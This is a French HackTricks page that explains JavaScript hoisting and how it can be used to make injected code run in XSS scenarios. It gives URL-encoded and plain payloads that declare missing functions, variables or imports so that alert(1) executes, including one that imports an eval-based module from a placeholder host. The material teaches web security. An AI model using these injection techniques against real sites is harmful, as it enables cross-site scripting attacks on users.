JS Hoisting
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Dans le langage JavaScript, un mécanisme connu sous le nom de Hoisting est décrit, où les déclarations de variables, fonctions, classes ou imports sont conceptuellement élevées au sommet de leur portée avant que le code ne soit exécuté. Ce processus est automatiquement effectué par le moteur JavaScript, qui parcourt le script en plusieurs passes.
Lors de la première passe, le moteur analyse le code pour vérifier les erreurs de syntaxe et le transforme en un arbre de syntaxe abstrait. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées au sommet du contexte d'exécution. Si la phase d'analyse est réussie, indiquant qu'il n'y a pas d'erreurs de syntaxe, l'exécution du script se poursuit.
Il est crucial de comprendre que :
- Le script doit être exempt d'erreurs de syntaxe pour que l'exécution ait lieu. Les règles de syntaxe doivent être strictement respectées.
- Le placement du code dans le script affecte l'exécution en raison du hoisting, bien que le code exécuté puisse différer de sa représentation textuelle.
Types de Hoisting
D'après les informations de MDN, il existe quatre types distincts de hoisting en JavaScript :
- Value Hoisting : Permet l'utilisation de la valeur d'une variable dans sa portée avant sa ligne de déclaration.
- Declaration Hoisting : Permet de référencer une variable dans sa portée avant sa déclaration sans provoquer une
ReferenceError
, mais la valeur de la variable seraundefined
. - Ce type modifie le comportement dans sa portée en raison de la déclaration de la variable avant sa ligne de déclaration réelle.
- Les effets secondaires de la déclaration se produisent avant que le reste du code contenant celle-ci ne soit évalué.
En détail, les déclarations de fonction présentent un comportement de type 1 de hoisting. Le mot-clé var
démontre un comportement de type 2. Les déclarations lexicales, qui incluent let
, const
et class
, montrent un comportement de type 3. Enfin, les déclarations import
sont uniques en ce sens qu'elles sont hoistées avec à la fois des comportements de type 1 et de type 4.
Scénarios
Par conséquent, si vous avez des scénarios où vous pouvez Injecter du code JS après qu'un objet non déclaré soit utilisé, vous pourriez corriger la syntaxe en le déclarant (afin que votre code soit exécuté au lieu de provoquer une erreur) :
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Plus de scénarios
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
Références
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.